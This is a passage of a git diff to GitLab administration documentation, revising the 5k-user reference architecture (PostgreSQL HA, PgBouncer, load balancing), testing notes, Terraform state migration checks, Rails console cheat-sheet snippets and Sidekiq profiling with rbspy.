+- [Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/#:~:text=Azure%20Database%20for%20PostgreSQL%20is,high%20availability%2C%20and%20dynamic%20scalability.) is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to known performance issues or missing features.
+- [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/) is recommended to be configured with [Premium accounts](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blob-block-blob-premium) to ensure consistent performance.
+
+### Praefect PostgreSQL
-It's also worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and
+It's worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and
that to achieve full High Availability a third-party PostgreSQL database solution will be required.
We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server
-can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398)
+can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398).
## Setup components
@@ -760,14 +776,15 @@ run: sentinel: (pid 30098) 76832s; run: log: (pid 29704) 76850s
## Configure PostgreSQL
-In this section, you'll be guided through configuring an external PostgreSQL database
-to be used with GitLab.
+In this section, you'll be guided through configuring a highly available PostgreSQL
+cluster to be used with GitLab.
### Provide your own PostgreSQL instance
If you're hosting GitLab on a cloud provider, you can optionally use a
-managed service for PostgreSQL. For example, AWS offers a managed Relational
-Database Service (RDS) that runs PostgreSQL.
+managed service for PostgreSQL.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
If you use a cloud-managed service, or provide your own PostgreSQL:
@@ -777,12 +794,25 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
needs privileges to create the `gitlabhq_production` database.
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+1. For improved performance, configuring [Database Load Balancing](../postgresql/database_load_balancing.md)
+ with multiple read replicas is recommended.
See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
further configuration steps.
### Standalone PostgreSQL using Omnibus GitLab
+The recommended Omnibus GitLab configuration for a PostgreSQL cluster with
+replication and failover requires:
+
+- A minimum of three PostgreSQL nodes.
+- A minimum of three Consul server nodes.
+- A minimum of three PgBouncer nodes that track and handle primary database reads and writes.
+ - An [internal load balancer](#configure-the-internal-load-balancer) (TCP) to balance requests between the PgBouncer nodes.
+- [Database Load Balancing](../postgresql/database_load_balancing.md) enabled.
+
+ A local PgBouncer service to be configured on each PostgreSQL node. Note that this is separate from the main PgBouncer cluster that tracks the primary.
+
The following IPs will be used as an example:
- `10.6.0.31`: PostgreSQL primary
@@ -837,8 +867,8 @@ in the second step, do not supply the `EXTERNAL_URL` value.
1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
```ruby
- # Disable all components except Patroni and Consul
- roles(['patroni_role'])
+ # Disable all components except Patroni, PgBouncer and Consul
+ roles(['patroni_role', 'pgbouncer_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -883,6 +913,15 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Replace 10.6.0.0/24 with Network Address
postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
+ # Local PgBouncer service for Database Load Balancing
+ pgbouncer['databases'] = {
+ gitlabhq_production: {
+ host: "127.0.0.1",
+ user: "pgbouncer",
+ password: '<pgbouncer_password_hash>'
+ }
+ }
+
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
postgres_exporter['listen_address'] = '0.0.0.0:9187'
@@ -943,9 +982,11 @@ If the 'State' column for any node doesn't say "running", check the
</a>
</div>
-## Configure PgBouncer
+### Configure PgBouncer
+
+Now that the PostgreSQL servers are all set up, let's configure PgBouncer
+for tracking and handling reads/writes to the primary database.
-Now that the PostgreSQL servers are all set up, let's configure PgBouncer.
The following IPs will be used as an example:
- `10.6.0.21`: PgBouncer 1
@@ -1167,7 +1208,14 @@ There are many third-party solutions for PostgreSQL HA. The solution selected mu
- A static IP for all connections that doesn't change on failover.
- [`LISTEN`](https://www.postgresql.org/docs/12/sql-listen.html) SQL functionality must be supported.
-Examples of the above could include [Google's Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) or [Amazon RDS](https://aws.amazon.com/rds/).
+NOTE:
+With a third-party setup, it's possible to colocate Praefect's database on the same server as
+the main [GitLab](#provide-your-own-postgresql-instance) database as a convenience unless
+you are using Geo, where separate database instances are required for handling replication correctly.
+In this setup, the specs of the main database setup shouldn't need to be changed as the impact should be
+minimal.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
Once the database is set up, follow the [post configuration](#praefect-postgresql-post-configuration).
@@ -1604,8 +1652,8 @@ To configure the Sidekiq nodes, one each one:
gitlab_rails['db_host'] = '10.6.0.40' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
- gitlab_rails['db_adapter'] = 'postgresql'
- gitlab_rails['db_encoding'] = 'unicode'
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['10.6.0.31', '10.6.0.32', '10.6.0.33'] } # PostgreSQL IPs
+
## Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -1764,6 +1812,8 @@ On each node perform the following:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['10.6.0.31', '10.6.0.32', '10.6.0.33'] } # PostgreSQL IPs
+
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -2068,8 +2118,7 @@ cluster alongside your instance, read how to
## Configure NFS (optional)
[Object storage](#configure-the-object-storage), along with [Gitaly](#configure-gitaly)
-are recommended over NFS wherever possible for improved performance. If you intend
-to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pages-requires-nfs).
+are recommended over NFS wherever possible for improved performance.
See how to [configure NFS](../nfs.md).
@@ -2141,7 +2190,7 @@ services where applicable):
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -2153,25 +2202,21 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 5k
+skinparam linetype ortho
card "Kubernetes via Helm Charts" as kubernetes {
card "**External Load Balancer**" as elb #6a9be7
together {
- collections "**Webservice** x5" as gitlab #32CD32
- collections "**Sidekiq** x3" as sidekiq #ff8dd1
+ collections "**Webservice** x4" as gitlab #32CD32
+ collections "**Sidekiq** x4" as sidekiq #ff8dd1
}
- card "**Prometheus + Grafana**" as monitor #7FFFD4
card "**Supporting Services**" as support
}
card "**Internal Load Balancer**" as ilb #9370DB
-
-card "**Consul + Sentinel**" as consul_sentinel {
- collections "**Consul** x3" as consul #e76a9b
- collections "**Redis Sentinel** x3" as sentinel #e6e727
-}
+collections "**Consul** x3" as consul #e76a9b
card "Gitaly Cluster" as gitaly_cluster {
collections "**Praefect** x3" as praefect #FF8C00
@@ -2191,41 +2236,33 @@ card "Database" as database {
postgres_primary .[#4EA7FF]> postgres_secondary
}
-card "Redis" as redis {
+card "redis" as redis {
collections "**Redis** x3" as redis_nodes #FF6347
-
- redis_nodes <.[#FF6347]- sentinel
}
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]-> monitor
+elb -[hidden]-> sidekiq
elb -[hidden]-> support
gitlab -[#32CD32]--> ilb
-gitlab -[#32CD32]-> object_storage
-gitlab -[#32CD32]---> redis
-gitlab -[hidden]--> consul
+gitlab -[#32CD32]r--> object_storage
+gitlab -[#32CD32,norank]----> redis
+gitlab -[#32CD32]----> database
sidekiq -[#ff8dd1]--> ilb
-sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> redis
-sidekiq -[hidden]--> consul
-
-ilb -[#9370DB]-> gitaly_cluster
-ilb -[#9370DB]-> database
+sidekiq -[#ff8dd1]r--> object_storage
+sidekiq -[#ff8dd1,norank]----> redis
+sidekiq .[#ff8dd1]----> database
-consul .[#e76a9b]-> database
-consul .[#e76a9b]-> gitaly_cluster
-consul .[#e76a9b,norank]--> redis
+ilb -[#9370DB]--> gitaly_cluster
+ilb -[#9370DB]--> database
+ilb -[hidden,norank]--> redis
-monitor .[#7FFFD4]> consul
-monitor .[#7FFFD4]-> database
-monitor .[#7FFFD4]-> gitaly_cluster
-monitor .[#7FFFD4,norank]--> redis
-monitor .[#7FFFD4]> ilb
-monitor .[#7FFFD4,norank]u--> elb
+consul .[#e76a9b]--> database
+consul .[#e76a9b,norank]--> gitaly_cluster
+consul .[#e76a9b]--> redis
@enduml
```
diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md
index 4d95a61176b..6bf35ba6e22 100644
--- a/doc/administration/reference_architectures/index.md
+++ b/doc/administration/reference_architectures/index.md
@@ -166,7 +166,7 @@ that can also be promoted in case of disaster.
## Deviating from the suggested reference architectures
-As a general rule of thumb, the further away you move from the Reference Architectures,
+As a general guideline, the further away you move from the Reference Architectures,
the harder it will be get support for it. With any deviation, you're introducing
a layer of complexity that will add challenges to finding out where potential
issues might lie.
@@ -191,3 +191,36 @@ The reference architectures for user counts [3,000](3k_users.md) and up support
In the specific case you have the requirement to achieve HA but have a lower user count, select modifications to the [3,000 user](3k_users.md) architecture are supported.
For more details, [refer to this section in the architecture's documentation](3k_users.md#supported-modifications-for-lower-user-counts-ha).
+
+## Testing process and results
+
+The [Quality Engineering - Enablement team](https://about.gitlab.com/handbook/engineering/quality/quality-engineering/) does regular smoke and performance tests for the reference architectures to ensure they remain compliant.
+
+In this section, we detail some of the process as well as the results.
+
+Note the following about the testing process:
+
+- Testing occurs against all main reference architectures and cloud providers in an automated and ad-hoc fashion.
+ This is achieved through two tools built by the team:
+ - The [GitLab Environment Toolkit](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit) for building the environments.
+ - The [GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance) for performance testing.
+- Network latency on the test environments between components on all Cloud Providers were measured at <5ms. Note that this is shared as an observation and not as an implicit recommendation.
+- We aim to have a "test smart" approach where architectures tested have a good range that can also apply to others. Testing focuses on 10k Omnibus on GCP as the testing has shown this is a good bellwether for the other architectures and cloud providers as well as Cloud Native Hybrids.
+- Testing is done publicly and all results are shared.
+
+Τhe following table details the testing done against the reference architectures along with the frequency and results.
+
+| Reference Architecture | Tests Run<sup>1</sup> |
+|------------------------|----------------------------------------------------------------------------------------------------------------------|
+| 1k | [Omnibus - Daily (GCP)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/1k)<sup>2</sup> |
+| 2k | [Omnibus - Daily (GCP)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/2k)<sup>2</sup> |
+| 3k | [Omnibus - Weekly (GCP)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/3k)<sup>2</sup> |
+| 5k | [Omnibus - Weekly (GCP)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/5k)<sup>2</sup> |
+| 10k | [Omnibus - Daily (GCP)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/10k)<sup>2</sup><br/>[Omnibus - Ad-Hoc (GCP, AWS, Azure)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Past-Results/10k)<br/><br/>[Cloud Native Hybrid - Ad-Hoc (GCP, AWS)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Past-Results/10k-Cloud-Native-Hybrid) |
+| 25k | [Omnibus - Weekly (GCP)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/25k)<sup>2</sup><br/>[Omnibus - Ad-Hoc (Azure)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Past-Results/25k) |
+| 50k | [Omnibus - Weekly (GCP)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/50k)<sup>2</sup><br/>[Omnibus - Ad-Hoc (AWS)](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Past-Results/50k) |
+
+Note that:
+
+1. The list above is non exhaustive. Additional testing is continuously evaluated and iterated on, and the table is updated regularly.
+1. The Omnibus reference architectures are VM-based only and testing has shown that they perform similarly on equivalently specced hardware regardless of Cloud Provider or if run on premises.
diff --git a/doc/administration/reference_architectures/troubleshooting.md b/doc/administration/reference_architectures/troubleshooting.md
index aabf4809b4a..c8c13fca59d 100644
--- a/doc/administration/reference_architectures/troubleshooting.md
+++ b/doc/administration/reference_architectures/troubleshooting.md
@@ -20,15 +20,14 @@ with the Fog library that GitLab uses. Symptoms include:
411 Length Required
```
-### GitLab Pages requires NFS
+### GitLab Pages can use object storage
-If you intend to use [GitLab Pages](../../user/project/pages/index.md), this currently requires
-[NFS](../nfs.md). There is [work in progress](https://gitlab.com/groups/gitlab-org/-/epics/3901)
-to remove this dependency. In the future, GitLab Pages will use
-object storage.
+If you intend to use [GitLab Pages](../../user/project/pages/index.md), you can
+[configure object storage](../pages/index.md#using-object-storage).
+NFS is still available if you prefer.
-The dependency on disk storage also prevents Pages being deployed using the
-[GitLab Helm chart](https://gitlab.com/groups/gitlab-org/-/epics/4283).
+The [GitLab Pages Helm chart](https://docs.gitlab.com/charts/charts/gitlab/gitlab-pages/) is also available
+for Kubernetes deployments.
### Incremental logging is required for CI to use object storage
diff --git a/doc/administration/repository_storage_types.md b/doc/administration/repository_storage_types.md
index a85f678fe95..f33d494f638 100644
--- a/doc/administration/repository_storage_types.md
+++ b/doc/administration/repository_storage_types.md
@@ -101,10 +101,10 @@ To look up a project's hash path using a Rails console:
#### From hashed path to project name
-Administrators can look up a project's name from its hashed storage path using:
+Administrators can look up a project's name from its hashed storage path using:
- A Rails console.
-- The `config` file in the `*.git` directory.
+- The `config` file in the `*.git` directory.
To look up a project's name using the Rails console:
diff --git a/doc/administration/terraform_state.md b/doc/administration/terraform_state.md
index 388ae74f207..582ffc9dc9c 100644
--- a/doc/administration/terraform_state.md
+++ b/doc/administration/terraform_state.md
@@ -130,6 +130,28 @@ For GitLab 13.8 and earlier versions, you can use a workaround for the Rake task
end
```
+You can optionally track progress and verify that all packages migrated successfully using the
+[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database):
+
+- `sudo gitlab-rails dbconsole` for Omnibus GitLab instances.
+- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances.
+
+Verify `objectstg` below (where `store=2`) has count of all states:
+
+```shell
+gitlabhq_production=# SELECT count(*) AS total, sum(case when store = '1' then 1 else 0 end) AS filesystem, sum(case when store = '2' then 1 else 0 end) AS objectstg FROM terraform_states;
+
+total | filesystem | objectstg
+------+------------+-----------
+ 15 | 0 | 15
+```
+
+Verify that there are no files on disk in the `terraform_state` folder:
+
+```shell
+sudo find /var/opt/gitlab/gitlab-rails/shared/terraform_state -type f | wc -l
+```
+
### S3-compatible connection settings
See [the available connection settings for different providers](object_storage.md#connection-settings).
@@ -162,11 +184,7 @@ See [the available connection settings for different providers](object_storage.m
```
1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. Migrate any existing local states to the object storage (GitLab 13.9 and later):
-
- ```shell
- gitlab-rake gitlab:terraform_states:migrate
- ```
+1. [Migrate any existing local states to the object storage](#migrate-to-object-storage)
**In installations from source:**
@@ -187,8 +205,4 @@ See [the available connection settings for different providers](object_storage.m
```
1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
-1. Migrate any existing local states to the object storage (GitLab 13.9 and later):
-
- ```shell
- sudo -u git -H bundle exec rake gitlab:terraform_states:migrate RAILS_ENV=production
- ```
+1. [Migrate any existing local states to the object storage](#migrate-to-object-storage)
diff --git a/doc/administration/troubleshooting/elasticsearch.md b/doc/administration/troubleshooting/elasticsearch.md
index cfce3b94554..c45938ecd3f 100644
--- a/doc/administration/troubleshooting/elasticsearch.md
+++ b/doc/administration/troubleshooting/elasticsearch.md
@@ -4,7 +4,7 @@ group: Global Search
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Troubleshooting Elasticsearch
+# Troubleshooting Elasticsearch **(PREMIUM SELF)**
To install and configure Elasticsearch, and for common and known issues,
visit the [administrator documentation](../../integration/elasticsearch.md).
diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
index 87f514a2fdd..ccfa93d9bc8 100644
--- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
+++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
@@ -97,14 +97,15 @@ Rails.cache.instance_variable_get(:@data).keys
## Profile a page
```ruby
+url = '<url/of/the/page>'
+
# Before 11.6.0
logger = Logger.new($stdout)
-admin_token = User.find_by_username('ADMIN_USERNAME').personal_access_tokens.first.token
-app.get("URL/?private_token=#{admin_token}")
+admin_token = User.find_by_username('<admin-username>').personal_access_tokens.first.token
+app.get("#{url}/?private_token=#{admin_token}")
# From 11.6.0
-admin = User.find_by_username('ADMIN_USERNAME')
-url = "/url/goes/here"
+admin = User.find_by_username('<admin-username>')
Gitlab::Profiler.with_user(admin) { app.get(url) }
```
@@ -112,8 +113,8 @@ Gitlab::Profiler.with_user(admin) { app.get(url) }
```ruby
logger = Logger.new($stdout)
-admin = User.find_by_username('ADMIN_USERNAME')
-Gitlab::Profiler.profile('URL', logger: logger, user: admin)
+admin = User.find_by_username('<admin-username>')
+Gitlab::Profiler.profile('<url/of/the/page>', logger: logger, user: admin)
```
## Time an operation
@@ -414,12 +415,14 @@ p.create_wiki ### creates the wiki project on the filesystem
### In case of issue boards not loading properly and it's getting time out. We need to call the Issue Rebalancing service to fix this
```ruby
-p = Project.find_by_full_path('PROJECT PATH')
+p = Project.find_by_full_path('<username-or-group>/<project-name>')
Issues::RelativePositionRebalancingService.new(p.root_namespace.all_projects).execute
```
-## Imports / Exports
+## Imports and exports
+
+### Import a project
```ruby
# Find the project and get the error
@@ -462,18 +465,19 @@ Clear the cache:
sudo gitlab-rake cache:clear
```
-### Export a repository
+### Export a project
It's typically recommended to export a project through [the web interface](../../user/project/settings/import_export.md#export-a-project-and-its-data) or through [the API](../../api/project_import_export.md). In situations where this is not working as expected, it may be preferable to export a project directly via the Rails console:
```ruby
-user = User.find_by_username('USERNAME')
-project = Project.find_by_full_path('PROJECT_PATH')
+user = User.find_by_username('<username>')
+# Sufficient permissions needed
+# Read https://docs.gitlab.com/ee/user/permissions.html#project-members-permissions
+
+project = Project.find_by_full_path('<username-or-group>/<project-name')
Projects::ImportExport::ExportService.new(project, user).execute
```
-If the project you wish to export is available at `https://gitlab.example.com/baltig/pipeline-templates`, the value to use for `PROJECT_PATH` would be `baltig/pipeline-templates`.
-
If this all runs successfully, you see an output like the following before being returned to the Rails console prompt:
```ruby
@@ -482,6 +486,11 @@ If this all runs successfully, you see an output like the following before being
The exported project is located within a `.tar.gz` file in `/var/opt/gitlab/gitlab-rails/uploads/-/system/import_export_upload/export_file/`.
+If this fails, [enable verbose logging](navigating_gitlab_via_rails_console.md#looking-up-database-persisted-objects),
+repeat the above procedure after,
+and report the output to
+[GitLab Support](https://about.gitlab.com/support/).
+
## Repository
### Search sequence of pushes to a repository
@@ -586,7 +595,7 @@ User.active.count
User.billable.count
# The historical max on the instance as of the past year
-::HistoricalData.max_historical_user_count
+::HistoricalData.max_historical_user_count(from: 1.year.ago.beginning_of_day, to: Time.current.end_of_day)
```
Using cURL and jq (up to a max 100, see the [pagination docs](../../api/index.md#pagination)):
@@ -618,7 +627,7 @@ users.count
# If that count looks sane:
# You can either block the users:
-users.each { |user| user.block! }
+users.each { |user| user.blocked? ? nil : user.block! }
# Or you can delete them:
# need 'current user' (your user) for auditing purposes
@@ -782,7 +791,7 @@ end
emails = [email1, email2]
emails.each do |e|
- delete_bad_scim(e,'GROUPPATH')
+ delete_bad_scim(e,'<group-path>')
end
```
@@ -815,28 +824,28 @@ conflicting_permanent_redirects.destroy_all
### Close a merge request properly (if merged but still marked as open)
```ruby
-p = Project.find_by_full_path('<full/path/to/project>')
-m = p.merge_requests.find_by(iid: <iid>)
u = User.find_by_username('<username>')
-MergeRequests::PostMergeService.new(p, u).execute(m)
+p = Project.find_by_full_path('<namespace/project>')
+m = p.merge_requests.find_by(iid: <iid>)
+MergeRequests::PostMergeService.new(project: p, current_user: u).execute(m)
```
### Delete a merge request
```ruby
u = User.find_by_username('<username>')
-p = Project.find_by_full_path('<group>/<project>')
-m = p.merge_requests.find_by(iid: <IID>)
-Issuable::DestroyService.new(m.project, u).execute(m)
+p = Project.find_by_full_path('<namespace/project>')
+m = p.merge_requests.find_by(iid: <iid>)
+Issuable::DestroyService.new(project: m.project, current_user: u).execute(m)
```
### Rebase manually
```ruby
-p = Project.find_by_full_path('<project_path>')
-m = project.merge_requests.find_by(iid: )
u = User.find_by_username('<username>')
-MergeRequests::RebaseService.new(m.target_project, u).execute(m)
+p = Project.find_by_full_path('<namespace/project>')
+m = p.merge_requests.find_by(iid: <iid>)
+MergeRequests::RebaseService.new(project: m.target_project, current_user: u).execute(m)
```
## CI
@@ -1255,6 +1264,9 @@ registry.replicator.send(:sync_repository)
## Generate Service Ping
+The [Service Ping Guide](../../development/service_ping/index.md) in our developer documentation
+has more information about Service Ping.
+
### Generate or get the cached Service Ping
```ruby
@@ -1277,6 +1289,12 @@ Generates Service Ping data in JSON format.
rake gitlab:usage_data:generate
```
+Generates Service Ping data in YAML format:
+
+```shell
+rake gitlab:usage_data:dump_sql_in_yaml
+```
+
### Generate and send Service Ping
Prints the metrics saved in `conversational_development_index_metrics`.
diff --git a/doc/administration/troubleshooting/group_saml_scim.md b/doc/administration/troubleshooting/group_saml_scim.md
index 9e9ef492ebd..d052688363c 100644
--- a/doc/administration/troubleshooting/group_saml_scim.md
+++ b/doc/administration/troubleshooting/group_saml_scim.md
@@ -72,6 +72,10 @@ Self-managed instance example:
![Okta admin panel view](img/okta_admin_panel_v13_9.png)
+Setting the username for the newly provisioned users when assigning them the SCIM app:
+
+![Assigning SCIM app to users on Okta](img/okta_setting_username.png)
+
## OneLogin
Application details:
diff --git a/doc/administration/troubleshooting/img/okta_setting_username.png b/doc/administration/troubleshooting/img/okta_setting_username.png
new file mode 100644
index 00000000000..c413b9d3a27
--- /dev/null
+++ b/doc/administration/troubleshooting/img/okta_setting_username.png
Binary files differ
diff --git a/doc/administration/troubleshooting/img/sidekiq_flamegraph.png b/doc/administration/troubleshooting/img/sidekiq_flamegraph.png
new file mode 100644
index 00000000000..89d6e8da3ce
--- /dev/null
+++ b/doc/administration/troubleshooting/img/sidekiq_flamegraph.png
Binary files differ
diff --git a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md
index 57d64a2323e..91db321295d 100644
--- a/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md
+++ b/doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
At the heart of GitLab is a web application [built using the Ruby on Rails
framework](https://about.gitlab.com/blog/2018/10/29/why-we-use-rails-to-build-gitlab/).
Thanks to this, we also get access to the amazing tools built right into Rails.
-In this guide, we'll introduce the [Rails console](../operations/rails_console.md#starting-a-rails-console-session)
+This guide introduces the [Rails console](../operations/rails_console.md#starting-a-rails-console-session)
and the basics of interacting with your GitLab instance from the command line.
WARNING:
@@ -19,7 +19,7 @@ or destroying production data. If you would like to explore the Rails console
with no consequences, you are strongly advised to do so in a test environment.
This guide is targeted at GitLab system administrators who are troubleshooting
-a problem or need to retrieve some data that can only be done through direct
+a problem or must retrieve some data that can only be done through direct
access of the GitLab application. Basic knowledge of Ruby is needed (try [this
30-minute tutorial](https://try.ruby-lang.org/) for a quick introduction).
Rails experience is helpful to have but not a must.
@@ -29,7 +29,7 @@ Rails experience is helpful to have but not a must.
Your type of GitLab installation determines how
[to start a rails console](../operations/rails_console.md).
-The following code examples will all take place inside the Rails console and also
+The following code examples take place inside the Rails console and also
assume an Omnibus GitLab installation.
## Active Record objects
@@ -37,7 +37,7 @@ assume an Omnibus GitLab installation.
### Looking up database-persisted objects
Under the hood, Rails uses [Active Record](https://guides.rubyonrails.org/active_record_basics.html),
-an object-relational mapping system, to read, write and map application objects
+an object-relational mapping system, to read, write, and map application objects
to the PostgreSQL database. These mappings are handled by Active Record models,
which are Ruby classes defined in a Rails app. For GitLab, the model classes
can be found at `/opt/gitlab/embedded/service/gitlab-rails/app/models`.
@@ -144,7 +144,7 @@ NoMethodError (undefined method `username' for #<ActiveRecord::Relation [#<User
Did you mean? by_username
```
-We need to retrieve the single object from the collection by using the `.first`
+Let's retrieve the single object from the collection by using the `.first`
method to get the first item in the collection:
```ruby
@@ -164,7 +164,7 @@ Record, please see the [Active Record Query Interface documentation](https://gui
### Modifying Active Record objects
In the previous section, we learned about retrieving database records using
-Active Record. Now, we'll learn how to write changes to the database.
+Active Record. Now, let's learn how to write changes to the database.
First, let's retrieve the `root` user:
@@ -195,7 +195,7 @@ a background job to deliver an email notification. This is an example of an
-- code which is designated to run in response to events in the Active Record
object life cycle. This is also why using the Rails console is preferred when
direct changes to data is necessary as changes made via direct database queries
-will not trigger these callbacks.
+do not trigger these callbacks.
It's also possible to update attributes in a single line:
@@ -265,8 +265,8 @@ user.save!(validate: false)
This is not recommended, as validations are usually put in place to ensure the
integrity and consistency of user-provided data.
-A validation error will prevent the entire object from being saved to
-the database. We'll see a little of this in the next section. If you're getting
+A validation error prevents the entire object from being saved to
+the database. You can see a little of this in the section below. If you're getting
a mysterious red banner in the GitLab UI when submitting a form, this can often
be the fastest way to get to the root of the problem.
@@ -336,7 +336,7 @@ user.activate
user.state
```
-Earlier, we mentioned that a validation error will prevent the entire object
+Earlier, we mentioned that a validation error prevents the entire object
from being saved to the database. Let's see how this can have unexpected
interactions:
@@ -455,7 +455,7 @@ Ci::Build.find(66124)
```
The pipeline and job ID numbers increment globally across your GitLab
-instance, so there's no need to use an internal ID attribute to look them up,
+instance, so there's no requirement to use an internal ID attribute to look them up,
unlike with issues or merge requests.
**Get the current application settings object:**
diff --git a/doc/administration/troubleshooting/sidekiq.md b/doc/administration/troubleshooting/sidekiq.md
index 7a8ac8c3dbe..a606a3712ba 100644
--- a/doc/administration/troubleshooting/sidekiq.md
+++ b/doc/administration/troubleshooting/sidekiq.md
@@ -85,6 +85,27 @@ several `WARN` level messages. Here's an example of a single thread's backtrace:
In some cases Sidekiq may be hung and unable to respond to the `TTIN` signal.
Move on to other troubleshooting methods if this happens.
+## Ruby profiling with `rbspy`
+
+[rbspy](https://rbspy.github.io) is an easy to use and low-overhead Ruby profiler that can be used to create
+flamegraph-style diagrams of CPU usage by Ruby processes.
+
+No changes to GitLab are required to use it and it has no dependencies. To install it:
+
+1. Download the binary from the [`rbspy` releases page](https://github.com/rbspy/rbspy/releases).
+1. Make the binary executable.
+
+To profile a Sidekiq worker for one minute, run:
+
+```shell
+sudo ./rbspy record --pid <sidekiq_pid> --duration 60 --file /tmp/sidekiq_profile.svg
+```
+
+![Example rbspy flamegraph](img/sidekiq_flamegraph.png)
+
+In this example of a flamegraph generated by `rbspy`, almost all of the Sidekiq process's time is spent in `rev_parse`, a native C
